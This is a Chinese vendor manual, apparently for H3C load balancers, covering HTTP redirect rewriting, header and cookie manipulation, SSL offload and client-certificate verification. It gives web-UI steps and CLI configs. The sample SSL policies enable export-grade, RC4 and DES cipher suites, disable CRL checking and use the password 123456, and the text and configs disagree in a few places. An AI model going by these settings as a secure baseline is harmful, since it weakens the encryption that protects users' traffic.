实服务器上配置有重定向功能:用户URL为【/test1】时重定向的地址为【服务器IP+服务器端口】、用户URL为【/test2】时重定向的地址为【虚服务IP+服务器端口】、用户URL为【/test3】时重定向的地址为【域名+服务器端口】。LB设备需要将这些重定向报文修改成【虚服务IP+虚服务端口】发给用户。
用户的请求和回应有如下对应关系:
用户请求 |
RealServer回应 |
http://VIP/test1 |
重定向location:http://RS_IP:8080/ |
http://VIP/test2 |
重定向location:http://VIP:8080/ |
http://VIP/test3 |
重定向location:http://HOST:8080/ |
http://VIP/ |
200 OK |
对于RealServer回应的重定向报文有如下转换:
原重定向报文 |
修改后的重定向报文 |
location:http://RS_IP:8080/ |
location:http://VIP/ |
location:http://VIP:8080/ |
location:http://VIP/ |
location:http://HOST:8080/ |
location:http://VIP/ |
图6-83 LB设备HTTP重定向内容改写组网图
用户访问URL中含test1时,三个RS均会回应重定向location:http://RS_IP:8080/;用户访问URL中含test2时,三个RS均会回应重定向location:http://VIP:8080/;用户访问URL中含test3时,三个RS均会回应重定向location:http://HOST:8080/。LB需要将所有重定向报文中的location修改为统一的location:http://VIP/。当用户再次以该URL进行访问时,实服务器将正常回应OK报文。
RS上如何配置重定向在此举例中忽略。
为了修改实服务器返回的重定向报文中的location,需要在LB设备上完成如下配置:
· 配置实服务组、实服务器。
· 配置负载均衡策略,区分含有test1、test2或者test3的URL,与不携带这些字符串的URL;利用动作来修改RS回应的重定向报文中的location。
· 配置虚服务,并在虚服务下应用策略。
本举例是在L5060的Ess 8516P13版本上进行配置和验证的。
· 确保Host到LB设备的虚服务路由可达。
· 相应的实服务器使用端口号为8080。
· 配置完虚服务后,需要开启虚服务。
以下验证过程均在LB设备上进行。
本例中采用两个RS分别回应重定向或200 OK报文,用户也可以根据实际情况在一台RS上进行设置
在导航栏中选择“对象>健康检测”,进入健康检测模板页面。
单击<新建>,添加模板名称为t1,类型为ICMP的健康检测模板,如下图所示。
图6-84 添加健康检测模板t1
创建实服务组sf1,采用的调度算法为源IP地址哈希算法。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
单击<新建>,添加实服务组名称为sf1,调度算法为源IP地址哈希,健康检测选择t1的实服务组,如下图所示。
图6-85 添加实服务组
单击<确定>按钮,完成操作。
再以同样方法添加实服务组sf2,用于客户端根据重定向内容重新发起请求的分配。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
编辑实服务组sf1,点击添加实服务组成员,新建实服务器名称为rs1,实服务器IP地址为192.168.1.1,端口号为8080,如下图所示。
图6-86 新建实服务器
单击<确定>按钮,完成操作。
策略>应用负载均衡>实服务组,编辑实服务组sf1,点击添加实服务组成员,参照上图创建实服务器rs2,配置其IPv4地址为192.168.1.2、实服务器端口为8080。
策略>应用负载均衡>实服务组,编辑实服务组sf2,点击添加实服务组成员,参照上图创建实服务器rs11、rs12,分别配置其IPv4地址为192.168.1.11和192.168.1.12、实服务器端口为80。
匹配URL中带有test1、test2或者test3关键字的HTTP请求流量。
策略>应用负载均衡>高级策略>流量特征:新建流量特征名称为lc1,类型为HTTP,选择匹配任意一条规则,创建匹配规则match ID为1、类型为URL、URL为test1,创建匹配规则match ID为2、类型为URL、URL为test2,创建匹配规则match ID为3、类型为URL、URL为test3。
图6-87 新建流量特征
图6-88 流量特征lc1参数
将用户URL中含test1、test2或者test3的请求报文发送给实服务组sf1。
策略>应用负载均衡>高级策略>动作,新建动作名称为la1,类型为HTTP,主用实服务组为sf1。
图6-89 新建动作
以及将实服务器回应的重定向报文中的location修改为http://VIP/。其中Header名称为location,Header值为“.*:8080(.*)”,替换成的资源串为http://61.159.4.100%1。
将用户重新按照重定向内容发出的请求报文发送给实服务组sf2。
策略>应用负载均衡>高级策略>动作>新建:动作名称为la2,类型为HTTP,主用实服务组为sf2。
图6-90 新建动作
将上述流量特征和动作关联实现如下功能:
策略lp1将匹配流量特征lc1(即用户请求URL中带有test1、test2或者test3)的请求报文,动作为la1(即发送给实服务组sf1,并将返回的重定向报文中的location改写为http://VIP/);其它不匹配流量特征lc1的请求报文,动作为la2(即发送给实服务组sf2)。
策略>应用负载均衡>高级策略>负载均衡策略>新建:应用负载均衡策略名称为lp1,类型为HTTP,默认动作为la2,新建规则流量特征为lc1、动作为la1。
图6-91 新建策略
在导航栏中选择“策略>应用负载均衡>参数模板”,进入参数模板页面
新建HTTP类型的参数模板名称为pp1,类型选择HTTP,并开启逐请求负载均衡。
图6-92 新建参数模板
#配置HTTP类型的虚服务VS,端口为80
策略>应用负载均衡>虚服务器,创建HTTP类型的虚服务器vs,IP为61.159.4.100,端口号为80,引用lb策略lp1,绑定参数模板pp1,并开启虚服务,点击<确定>。
图6-93 新建虚服务器
#
nqa template icmp t1
#
parameter-profile pp1 type http
rebalance per-request
#
server-farm sf1
predictor hash address source
probe t1
success-criteria at-least 1
real-server rs1 port 8080
success-criteria at-least 1
real-server rs2 port 8080
success-criteria at-least 1
#
server-farm sf2
predictor hash address source
probe t1
success-criteria at-least 1
real-server rs11 port 80
success-criteria at-least 1
real-server rs12 port 80
success-criteria at-least 1
#
loadbalance class lc1 type http match-any
match 1 url test1
match 2 url test2
match 3 url test3
#
loadbalance action la1 type http
server-farm sf1
header rewrite response name location value .*:8080(.*) replace http://61.159.4
.100%1
#
loadbalance action la2 type http
server-farm sf2
#
loadbalance policy lp1 type http
class lc1 action la1
default-class action la2
#
real-server rs1
ip address 192.168.1.1
#
real-server rs2
ip address 192.168.1.2
#
real-server rs11
ip address 192.168.1.11
#
real-server rs12
ip address 192.168.1.12
#
virtual-server vs type http
virtual ip address 61.159.4.100
parameter http pp1
lb-policy lp1
service enable
如图所示,Host通过LB设备对3台服务器进行访问。三台服务器Server A、Server B和Server C均可提供HTTP服务,通过在LB设备上配置HTTP类型的负载均衡动作,实现对HTTP的Header进行插入、重写、删除操作。
图6-94 HTTP的Header插入、重写、删除组网图
为实现HTTP的Header插入、重写、删除功能,需要在LB设备上完成如下配置:
· 配置实服务组、实服务器、虚服务、策略。
· LB设备可以对HTTP的Header进行插入、重写、删除的操作
本举例是在L5060的Ess 8516P13版本上进行配置和验证的。
· Client端与LB的路由配置,使之路由可达。
· Server端和LB的路由配置,使之路由可达。
· Action中需要引用实服务组。
· 配置完虚服务后,需要开启虚服务。
以下验证过程均在LB设备上进行。
在导航栏中选择“对象>健康检测”,进入健康检测模板页面。
单击<新建>,添加健康模板名称为t1,类型为HTTP的健康检测模板,URL为http://192.168.1.1/index.html,如下图所示。
图6-95 添加健康检测模板
单击<确定>按钮,完成操作。
按同样地步骤创建HTTP类型的健康检测模板t2和t3,URL分别为http://192.168.1.2/index.html、http://192.168.1.3/index.html
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
单击<新建>,添加实服务组名称为sf1,调度算法为源IP地址哈希,健康性检测选择t1、t2、t3的实服务组,且成功条件为至少1个检测通过,如下图所示。
图6-96 添加实服务组
单击<确定>按钮,完成操作。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
编辑实服务组sf1,添加实服务组成员,新建实服务器名称为rs1,实服务器IP地址为192.168.1.1,如下图所示。
图6-97 添加实服务器信息
单击<确定>按钮,完成操作。
策略>应用负载均衡>实服务组,编辑实服务组sf1,点击添加实服务组成员,参照上图步骤创建实服务器rs2和rs3,分别配置其IPv4地址为192.168.1.2和192.168.1.3。
匹配URL中带有test关键字的HTTP请求流量
策略>应用负载均衡>高级策略>流量特征,新建流量特征名称为lc1,类型为HTTP,新建匹配规则Match ID为1、类型为URL、URL为test。
图6-98 新建流量特征
策略>应用负载均衡>高级策略>动作,新建动作名称为la1,类型为HTTP,主用实服务器为sf1。
图6-99 新建动作
配置Header插入,新建方向为双向,Header名称为header-insert-name,Header值为21
Header重写,新建方向为请求,Header名称为host,Header值为61.159.4.100,替换成的资源串为host.com。
Header删除,新建方向为应答,Header名称为content-type。
点击<确定>,创建动作
将上述流量特征和动作关联实现如下功能:
策略lp1将匹配流量特征lc1(即用户请求URL中带有test)的请求报文,动作为la1(即发送给实服务组sf1,并将处理http头部。
策略>应用负载均衡>高级策略>负载均衡策略,新建负载均衡策略为lp1,类型为HTTP,新建规则流量特征为lc1、动作为la1。
图6-100 新建负载均衡策略
# 配置HTTP类型的虚服务vs,端口为80
策略>应用负载均衡>虚服务器,新建虚服务名称为vs,类型HTTP,IP为61.159.4.100,端口号为80,引用lb策略lp1,并开启虚服务,点击<确定>。
图6-101 新建虚服务器
查看测试仪抓包信息
(1) inser request报文-client
图6-102 Header 插入的客户端request报文
(2) inser request报文-server
图6-103 Header 插入的server端request报文
(3) inser response报文-server
图6-104 Header 插入的server端response报文
(4) inser response报文-client
图6-105 Header 插入的客户端response报文
(1) rewrite request报文-client
图6-106 Header 重写的客户端request报文
(2) rewrite request报文-server
图6-107 Header 重写的server端request报文
测试仪Client端抓包,相对于server端,应答方向的HTTP报文中Header中的内容content-type被删除。
测试仪的server端,response方向的HTTP报文抓包情况,如下:
(1) delete response报文-server
图6-108 Header 删除的客户端response报文
测试仪的client端,response方向的HTTP报文抓包情况,如下:
(2) delete respons报文-client
图6-109 Header 删除的server端response报文
#
nqa template http t1
url http://192.168.1.1/index.html
#
nqa template http t2
url http://192.168.1.2/index.html
#
nqa template http t3
url http://192.168.1.3/index.html
#
server-farm sf1
predictor hash address source
probe t1
probe t2
probe t3
success-criteria at-least 1
real-server rs1 port 0
success-criteria at-least 1
real-server rs2 port 0
success-criteria at-least 1
real-server rs3 port 0
success-criteria at-least 1
#
loadbalance class lc1 type http
match 1 url /test
#
loadbalance action la1 type http
server-farm sf1
header delete response name content-type
header insert both name header-insert-name value 21
header rewrite request name host value 61.159.4.100 replace h3c.com
#
loadbalance policy lp1 type http
class lc1 action la1
#
real-server rs1
ip address 192.168.1.1
#
real-server rs2
ip address 192.168.1.2
#
real-server rs3
ip address 192.168.1.3
#
virtual-server vs type http
virtual ip address 61.159.4.100
lb-policy lp1
service enable
#
Client通过LB设备对两台服务器进行访问,两台服务器均可提供HTTP服务,可对HTTP的Cookie进行插入、重写、截取操作。
insert表示持续性方法为Cookie插入,即在服务器发送的HTTP应答报文中插入Set-Cookie字段用于持续性处理。
rewrite表示持续性方法为Cookie重写,即改写服务器发送的HTTP应答报文所携带的Set-Cookie字段用于持续性处理。
get表示持续性方法为Cookie截取,即在服务器发送的HTTP应答报文中截取Set-Cookie字段用于持续性处理。
图6-110 HTTP的Cookie插入、重写、截取组网图
为实现HTTP的Cookie插入、重写、截取功能,需要在LB设备上完成如下配置:
· 配置实服务组、实服务器、虚服务、持续性组。
· LB设备可以对HTTP的Cookie进行插入、重写、截取的操作,并可通过持续性的处理,来控制业务分配给具体的服务器。
本举例是在L5060的Ess 8516P13版本上进行配置和验证的。
· Client端与LB的路由配置,使之路由可达。
· Server端和LB的路由配置,使之路由可达。
· 虚服务中需要引用持续性组
· 配置完虚服务后,需要开启虚服务。
以下验证过程均在LB设备上进行。
在导航栏中选择“对象>健康检测”,进入健康检测模板页面。
单击<新建>,添加健康模板名称为t1,类型为HTTP的健康检测模板,http://192.168.1.1/index.html,如下图所示。
图6-111 添加健康检测模板
单击<确定>按钮,完成操作。
按照上图步骤创建HTTP类型健康检测t2、t3,URL分别为http://192.168.1.2/index.html、http://192.168.1.3/index.html
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
单击<新建>,添加实服务组名称为sf1,调度算法为源IP地址哈希,健康性检测选择t1、t2、t3的实服务组,且成功条件为至少1个检测通过,如下图所示。
图6-112 添加实服务组
单击<确定>按钮,完成操作。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
编辑实服务组sf1,点击添加实服务组成员,新建实服务器名称为rs1,实服务器IP地址为192.168.1.1,如下图所示。
图6-113 添加实服务器信息
单击<确定>按钮,完成操作。
策略>应用负载均衡>实服务组,编辑实服务组sf1,点击添加实服务组成员,参照上图步骤创建实服务器rs2和rs3,分别配置其IPv4地址为192.168.1.2和192.168.1.3。
策略>公共配置>持续性组>新建:持续性组名称为cookie-insert,类型为HTTP-Cookie,Cookie持续性方法为Cookie插入,Cookie名称为12cookie-insertion12end 。
图6-114 新建持续性组cookie-insert
策略>公共配置>持续性组,新建持续性组名称为cookie-rewrite,类型为HTTP-Cookie,Cookie持续性方法为Cookie重写,Cookie名称为cookie-rewrite
图6-115 新建持续性组cookie-rewrite
策略>公共配置>持续性组,创建持续性组cookie-get,类型为HTTP-Cookie,Cookie持续性方法为Cookie截取,Cookie名称为cookie-get。
图6-116 新建持续性组cookie-get
匹配URL中带有test关键字的HTTP请求流量
策略>应用负载均衡>高级策略>流量特征,新建流量特征名称为lc1,类型为HTTP,新建匹配规则Match ID为1,类型为URL,URL为test1。
图6-117 新建流量特征
策略>应用负载均衡>高级策略>流量特征,新建流量特征名称为lc2,类型为HTTP,新建匹配规则Match ID为1,类型为URL,URL为test2。
策略>应用负载均衡>高级策略>流量特征,新建流量特征名称为lc3,类型为HTTP,新建匹配规则Match ID为1,类型为URL,URL为test3。
策略>应用负载均衡>高级策略>动作,新建动作名称为la1,类型为HTTP,主用实服务组为sf1,持续性组为cookie-insert。
图6-118 新建动作la1
策略>应用负载均衡>高级策略>动作,新建动作名称为la2,类型为HTTP,主用实服务组为sf1,持续性组为cookie-rewrite。
策略>应用负载均衡>高级策略>动作,新建动作名称为la3,类型为HTTP,主用实服务组为sf1,持续性组为cookie-get
点击<确定>,创建动作。
将上述流量特征和动作关联实现如下功能:
策略lp1将匹配流量特征lc1(即用户请求URL中带有test)的请求报文,动作为la1(即发送给实服务组sf1),并将处理HTTP头部。
策略>应用负载均衡>高级策略>负载均衡策略,新建负载均衡策略名称为lp1,类型为HTTP,新建规则流量特征为lc1、动作为la1,新建规则流量特征为lc2、动作为la2,新建规则流量特征为lc3、动作为la3。
图6-119 新建负载均衡策略
#配置HTTP类型的虚服务,端口为80
策略>应用负载均衡>虚服务器,新建虚服务器名称为vs,类型为HTTP,IP为61.159.4.100,端口号为80,引用lb策略lp1,并开启虚服务,,点击<确定>。
图6-120 新建虚服务器
可在验证前先清理实服务和虚服务的统计数据,免得干扰判断,清理后,再打流量,进行验证。
监控>应用负载统计>虚服务器统计,点击<清除>。
监控>应用负载统计>实服务器统计,点击<清除>。
查看测试仪抓包信息
测试仪client端抓包,相对于server端,应答方向的HTTP报文中Cookie内容被插入(被LB设备插入Cookie为Set-Cookie:12cookie-insertion12end=2.4.b092d037.0)。
(1) 测试仪的server端,response方向的HTTP报文抓包情况,如下:
(2) 测试仪的client端,response方向的HTTP报文抓包情况,如下:
持续性验证:第一次打流量,LB返回client端一个Cookie值,查看实服务器流量负载分担情况:
在第二次请求中携带插入的Cookie值,打流验证持续性生效,所有的请求分配给了同一个实服务。
查看测试仪抓包信息
测试仪client端抓包,相对于server端,应答方向的HTTP报文中Cookie内容被重写(由123456,被LB设备重写为2.2.19ba92e3.0 )。
(1) 测试仪的server端,response方向的HTTP报文抓包情况,如下:
(2) 测试仪的client端,response方向的HTTP报文抓包情况,如下:
持续性验证:第一次打流量,所有的请求分配到实服务器rs2
再次发起带有相同Cookie值的请求,查看后台实服务器流量负载分担情况,所有的流量都分配到了同一个实服务器rs2上。
查看测试仪抓包信息
报文中可以看出Cookie没有变化,此处不详细介绍。
持续性验证:第一次打流量,请求分配到实服务器rs2
在请求中携带Cookie值,验证持续性生效,所有的请求分配给了同一个实服务。
#
nqa template http t1
url http://192.168.1.1/index.html
#
nqa template http t2
url http://192.168.1.2/index.html
#
nqa template http t3
url http://192.168.1.3/index.html
#
server-farm sf1
predictor hash address source
probe t1
probe t2
probe t3
success-criteria at-least 1
real-server rs1 port 0
success-criteria at-least 1
real-server rs2 port 0
success-criteria at-least 1
real-server rs3 port 0
success-criteria at-least 1
#
sticky-group cookie-insert type http-cookie
cookie insert name 12cookie-insertion12end
check all-packet
#
sticky-group cookie-rewrite type http-cookie
cookie rewrite name cookie-rewrite
check all-packet
#
sticky-group cookie-get type http-cookie
cookie get name cookie-get
check all-packet
#
loadbalance action la1 type http
server-farm sf1 sticky cookie-insert
#
loadbalance action la2 type http
server-farm sf1 sticky cookie-rewrite
#
loadbalance action la3 type http
server-farm sf1 sticky cookie-get
#
loadbalance class lc1 type http
match 1 url test1
#
loadbalance class lc2 type http
match 1 url test2
#
loadbalance class lc3 type http
match 1 url test3
#
loadbalance policy lp1 type http
class lc1 action la1
class lc2 action la2
class lc3 action la3
#
real-server rs1
ip address 192.168.1.1
#
real-server rs2
ip address 192.168.1.2
#
real-server rs3
ip address 192.168.1.3
#
virtual-server vs type http
virtual ip address 61.159.4.100
lb-policy lp1
service enable
#
SSL卸载是指LB设备为内网的Web服务器提供SSL加解密服务,对外提供安全(SSL加密)访问Web服务器的功能。内网Web服务器只需处理业务,无须耗费CPU进行SSL加解密运算,从而提高服务器的处理能力。
Host发起HTTPS访问,通过LB设备加解密,三台服务器Server A、Server B和Server C均可提供HTTP服务,Host访问服务器的流量会在三台服务器之间负载分担。
图6-121 SSL卸载组网图
为了实现SSL卸载功能,需要在LB设备上完成如下配置:
· 将CA证书和设备证书导入到LB设备,并在LB设备上创建SSL策略。
· 配置实服务组、实服务器和虚服务。
· 客户端HTTPS访问server端HTTP服务器,可成功访问。
本举例是在L5060的Ess 8516P13版本上进行配置和验证的。
· 确保Host到LB设备的虚服务路由可达。
· 要先申请正确的证书,再将申请的证书通过FTP或TFTP上传到LB设备上。
· 在LB设备上配置的实服务器地址要与相应的实服务器地址保持一致。
· 配置完虚服务后,需要开启虚服务。
· 虚服务器端口号需要配置为443,实服务器端口号配置为80。SSL策略无法和虚服务器进行联动,当修改SSL策略后,需对服务器重新进行使能操作才可以使配置生效。
· 创建SSL服务器端策略后,需要手工在命令行下配置SSL协商时SSL服务器端发送完整的证书链功能。
以下验证过程均在LB设备上进行。
在导航栏中选择“网络>接口>接口”,进入接口配置页面。
单击<新建接口>,添加类型为三层聚合接口,聚合组编号为1,如下图所示
图6-122 添加三层聚合口
点击<确定>,修改接口设置,如下图所示。
在导航栏中选择“网络>接口>接口”,进入接口页面。
单击新建接口,选择三层聚合子接口,父接口为RAGG1,子接口编号为10,如下图所示。
图6-123 创建子接口
子接口创建后,在接口列表内该子接口右侧点击编辑按钮,修改接口设置,修改IP地址/掩码为10.0.0.1掩码255.255.255.0,VLAN终结设置为Dot1q明确终结,值为10。
图6-124 修改IP地址/掩码
图6-125 VLAN终结设置
重复上述步骤创建子接口,选择接口为RAGG1,子接口编号为20,子接口创建后,在接口列表内该子接口右侧点击编辑按钮,修改接口设置,修改IP地址/掩码为192.168.1.254掩码255.255.255.0,VLAN终结设置为Dot1q明确终结,值为20。
在导航栏中选择“对象>PKI>证书”,进入证书页面。
单击<新建>PKI域,添加域名称为ca,禁止CRL检查,如下图所示。
图6-126 添加PKI域
点击<确定>,完成操作。
选中ca,点击<导入证书>按钮,如下图所示。
图6-127 导入证书
证书类型选择CA证书,点击<选择文件>按钮,选择CA证书文件,如下图所示。
图6-128 导入CA证书
点击<确定>,完成操作。
证书类型选择本地证书,点击<选择文件>按钮,选择本地证书文件,输入证书口令,如下图所示。
图6-129 导入本地证书
点击<确定>,完成操作。
在导航栏中选择“对象>SSL>服务器端策略”,进入SSL页面。
单击<新建>按钮,添加策略名称为SSL,PKI域选择ca的SSL服务器端策略,RC2和RC4的算法剔除,如下图所示。
图6-130 添加SSL服务器端策略
点击<确定>,完成操作。
由于在WEB上不支持配置SSL协商时SSL服务器端发送完整的证书链的功能,需要手工在命令行下配置开启该功能。
[sysname]ssl server-policy ssl
[sysname-ssl-server-policy-ssl]certificate-chain-sending enable
在导航栏中选择“对象>健康检测”,进入健康检测模板页面。
单击<新建>,添加健康模板名称为t1,类型为ICMP的健康检测模板,如下图所示。
图6-131 添加健康检测模板
创建实服务组sf1,采用的调度算法为源IP地址哈希算法。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
单击<新建>,添加实服务组名称为sf1,调度算法为源IP地址哈希,健康性检测选择t1的实服务组,如下图所示。
图6-132 添加实服务组
单击<确定>按钮,完成操作。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
编辑实服务组sf1,点击添加实服务组成员,新建实服务器名称为rs1,实服务器IP地址为192.168.1.1,实服务器端口为80,,如下图所示。
图6-133 添加实服务组成员信息
单击<确定>按钮,完成操作。
创建实服务器rs2、rs3与创建rs1步骤相同:
在导航栏中选择“策略>应用负载均衡>实服务组”,编辑实服务组sf1添加成员,参照上图创建实服务器rs2,配置其IPv4地址为192.168.1.2、实服务器端口为80。
在导航栏中选择“策略>应用负载均衡>实服务组”,编辑实服务组sf1添加成员,参照上图创建实服务器rs3,配置其IPv4地址为192.168.1.3、实服务器端口为80。
创建HTTP类型的虚服务器vs,配置其VSIP为61.159.4.100,指定其默认实服务组为sf,端口号为443,引用ssl策略ssl。
在导航栏中选择“策略>应用负载均衡>虚服务器”,进入虚服务器页面。
单击<新建>,添加虚服务器名称为vs,类型选择HTTPS,配置虚服务IP为61.159.4.100,其默认实服务组为sf1,端口号为443,引用ssl服务端策略ssl,并开启虚服务,如下图所示。
图6-134 新建虚服务器
点击<确定>,完成操作。
设备与服务端是明文报文,服务端抓包如下:
#
vlan 10 20
#
interface GigabitEthernet1/1/4
port link-mode bridge
port link-type trunk
port trunk permit vlan 1 10 20
port link-aggregation group 1
#
interface GigabitEthernet1/1/6
port link-mode bridge
port access vlan 10
#
interface GigabitEthernet1/1/7
port link-mode bridge
port access vlan 20
#
interface Route-Aggregation1
#
interface Route-Aggregation1.10
ip address 10.0.0.1 255.255.255.0
vlan-type dot1q vid 10
#
interface Route-Aggregation1.20
ip address 192.168.1.254 255.255.255.0
vlan-type dot1q vid 20
#
nqa template icmp t1
#
pki domain ca
public-key rsa general name ca length 2048
undo crl check enable
#
ssl server-policy server
pki-domain ca
ciphersuite rsa_aes_128_cbc_sha rsa_des_cbc_sha rsa_3des_ede_cbc_sha rsa_aes_256_cbc_sha exp_rsa_des_cbc_sha dhe_rsa_aes_128_cbc_sha dhe_rsa_aes_256_cbc_sha rsa_aes_128_cbc_sha256 rsa_aes_256_cbc_sha256 dhe_rsa_aes_128_cbc_sha256 dhe_rsa_aes_256_cbc_sha256
ciphersuite ecdhe_rsa_aes_128_cbc_sha256 ecdhe_rsa_aes_256_cbc_sha384 ecdhe_rsa_aes_128_gcm_sha256 ecdhe_rsa_aes_256_gcm_sha384 ecdhe_ecdsa_aes_128_cbc_sha256
ecdhe_ecdsa_aes_256_cbc_sha384 ecdhe_ecdsa_aes_128_gcm_sha256 ecdhe_ecdsa_aes_256_gcm_sha384 ecc_sm2_sm1_sm3 ecc_sm2_sm4_sm3 ecdhe_sm2_sm1_sm3
ciphersuite ecdhe_sm2_sm4_sm3 rsa_sm1_sha rsa_sm1_sm3 rsa_sm4_sha rsa_sm4_sm3
certificate-chain-sending enable
#
server-farm sf1
predictor hash address source
probe t1
success-criteria at-least 1
real-server rs1 port 80 success-criteria at-least 1
real-server rs2 port 80 success-criteria at-least 1
real-server rs3 port 80 success-criteria at-least 1
#
real-server rs1
ip address 192.168.1.1
#
real-server rs2
ip address 192.168.1.2
#
real-server rs3
ip address 192.168.1.3
#
virtual-server vs type http
virtual ip address 61.159.4.100
port 443
default server-farm sf1
ssl-server-policy ssl
service enable
当前网络安全越来越受到重视,现在网络也普遍采用了HTTPS协议。SSL客户端证书认证是SSL服务器对客户端进行校验,通过SSL客户端证书认证,服务器确定所接收到的访问是否来自可信的客户端。如图所示,Host发起HTTPS访问,通过LB设备解密,三台服务器Server A、Server B和Server C均可提供HTTP服务,Host访问服务器的流量会在三台服务器之间负载分担。负载均衡设备开启验证SSL客户端,并在客户端请求报文中插入证书的常用字段。
图6-135 SSL客户端认证和证书的常用字段插入组网图
为了实现SSL客户端认证与插入证书的常用字段功能,需要在LB设备上完成如下配置:
· 将CA证书和设备证书导入到LB设备,并在LB设备上创建SSL服务器端策略。
· 配置实服务组、实服务器和虚服务。
· 客户端HTTPS访问Server端HTTP服务器,可成功访问。
· 配置负载均衡动作,插入证书的常用字段。
· 插入证书的常用字段内容为1~255个字符的字符串,也可以使用以下特定含义的字符串,说明:%{x509v}:证书的版本;%{x509snum}:证书的序列号;%{x509sigalgo}:证书的签名算法;%{x509issuer}:证书的签发者。
本举例是在L1090的Ess 1101P13版本上进行配置和验证的。
· 要先申请正确的证书,再将申请的证书通过FTP或TFTP上传到LB设备上。
· SSL服务器端策略开启验证客户端,客户端需要导入正确的ca证书与本地证书。
· 虚服务器端口号需要配置为443,实服务器端口号配置为80。
· SSL策略无法和虚服务器进行联动,当修改SSL策略后,需对服务器重新进行使能操作才可以使配置生效。
· 创建SSL服务器端策略后,需要手工在命令行下配置SSL协商时SSL服务器端发送完整的证书链功能。
以下验证过程均在LB设备上进行。
在导航栏中选择“对象>PKI>证书”,进入证书页面。
单击<新建>PKI域,添加域名称为ca,禁止CRL检查,如下图所示。
图6-136 添加PKI域
单击<确定>,完成操作。
选中ca,单击<导入证书>按钮,如下图所示。
图6-137 导入证书
证书类型选择CA证书,单击<选择文件>按钮,选择ca.crt文件,如下图所示。
图6-138 导入CA证书
单击<确定>,完成操作。
证书类型选择本地证书,单击<选择文件>按钮,选择server.pfx文件,输入证书口令(123456),如下图所示。
图6-139 导入本地证书
单击<确定>,完成操作。
在导航栏中选择“对象>SSL>服务器端策略”,进入SSL页面。
单击<新建>按钮,添加策略名称为SSL,PKI域选择ca的SSL服务器端策略,开启验证客户端功能,如下图所示。
图6-140 添加SSL服务器端策略
单击<确定>,完成操作。
由于在WEB上不支持配置SSL协商时SSL服务器端发送完整的证书链的功能,需要手工在命令行下配置开启该功能。
[sysname]ssl server-policy ssl
[sysname-ssl-server-policy-ssl]certificate-chain-sending enable
在导航栏中选择“对象>健康检测”,进入健康检测模板页面。
单击<新建>,添加健康模板名称为t1,类型为ICMP的健康检测模板,如下图所示。
图6-141 添加健康检测模板
单击<确定>,完成操作。
创建实服务组sf1,采用的调度算法为源IP地址哈希算法。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
单击<新建>,添加实服务组名称为sf1,调度算法为源IP地址哈希,健康性检测选择t1的实服务组,如下图所示。
图6-142 添加实服务组
单击<确定>按钮,完成操作。
添加实服务组成员,新建实服务器rs1,实服务器端口为80,配置其IPv4地址为192.168.1.1。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面,选择sf1,单击编辑按钮,添加实服务器名称为rs1,实服务器IP地址为192.168.1.1,实服务器端口为80,如下图所示。
图6-143 添加实服务器信息
单击<确定>按钮,完成操作。
参照上图创建实服务器rs2,配置其IPv4地址为192.168.1.2、实服务器端口为80。
参照上图创建实服务器rs3,配置其IPv4地址为192.168.1.3、实服务器端口为80。
在导航栏中选择“策略>应用负载均衡>高级策略>动作”,进入动作页面。
单击<新建>,添加HTTP类型的负载均衡动作,主用实服务组为sf1,新建HTTP Header插入,插入方向为请求,插入字段http-certification-insert,值为%{x509v},表示插入证书的版本,如下图所示。
图6-144 创建负载均衡动作la1
单击<确定>,完成操作。
在导航栏中选择“策略>应用负载均衡>高级策略>负载均衡策略”,进入负载均衡策略页面。
单击<新建>,添加HTTP类型的负载均衡策略名称为lp,默认动作la1,如下图所示。
图6-145 新建负载均衡策略
单击<确定>,完成操作。
在导航栏中选择“策略>应用负载均衡>虚服务器”,进入虚服务器页面。
单击<新建>,添加虚服务器名称为vs,类型选择HTTPS,配置虚服务IP为61.159.4.100,端口号为443,引用SSL服务端策略ssl和负载均衡策略lp,并开启虚服务,如下图所示。
图6-146 新建虚服务器
单击<确定>,完成操作。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组sf1页面,查看成员列表一栏。
图6-147 实服务组成员列表
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
图6-148 实服务组列表
在导航栏中选择“策略>应用负载均衡>虚服务器”,进入虚服务器页面
图6-149 虚服务器列表
在导航栏中选择“监控>应用负载均衡统计>虚服务器统计”,进入虚服务统计页面
图6-150 虚服务器统计信息
在导航栏中选择“监控>应用负载均衡>实服务器统计”,进入实服务统计页面
图6-151 实服务器统计信息
在导航栏中选择“监控>应用负载均衡统计>虚服务器统计”,进入虚服务统计页面
图6-152 虚服务器统计信息
在导航栏中选择“监控>应用负载均衡>实服务器统计”,进入实服务统计页面
图6-153 实服务器统计信息
图6-154 服务器端抓包信息
#
pki domain ca
public-key rsa general name ca
undo crl check enable
#
pki import domain ca der ca filename ca.crt
pki import domain ca p12 local filename server.pfx
#
ssl server-policy ssl
pki-domain ca
ciphersuite rsa_aes_128_cbc_sha rsa_des_cbc_sha rsa_rc4_128_md5 rsa_rc4_128_sha
rsa_3des_ede_cbc_sha rsa_aes_256_cbc_sha exp_rsa_rc4_md5 exp_rsa_rc2_md5 exp_rs
a_des_cbc_sha dhe_rsa_aes_128_cbc_sha dhe_rsa_aes_256_cbc_sha
ciphersuite rsa_aes_128_cbc_sha256 rsa_aes_256_cbc_sha256 dhe_rsa_aes_128_cbc_s
ha256 dhe_rsa_aes_256_cbc_sha256 ecdhe_rsa_aes_128_cbc_sha256 ecdhe_rsa_aes_256_
cbc_sha384 ecdhe_rsa_aes_128_gcm_sha256 ecdhe_rsa_aes_256_gcm_sha384 ecdhe_ecdsa
_aes_128_cbc_sha256 ecdhe_ecdsa_aes_256_cbc_sha384 ecdhe_ecdsa_aes_128_gcm_sha256
ciphersuite ecdhe_ecdsa_aes_256_gcm_sha384
client-verify enable
undo version gm-tls1.1 disable
certificate-chain-sending enable
#
nqa template icmp t1
#
server-farm sf1
predictor hash address source
probe t1
success-criteria at-least 1
real-server rs1 port 80
success-criteria at-least 1
real-server rs2 port 80
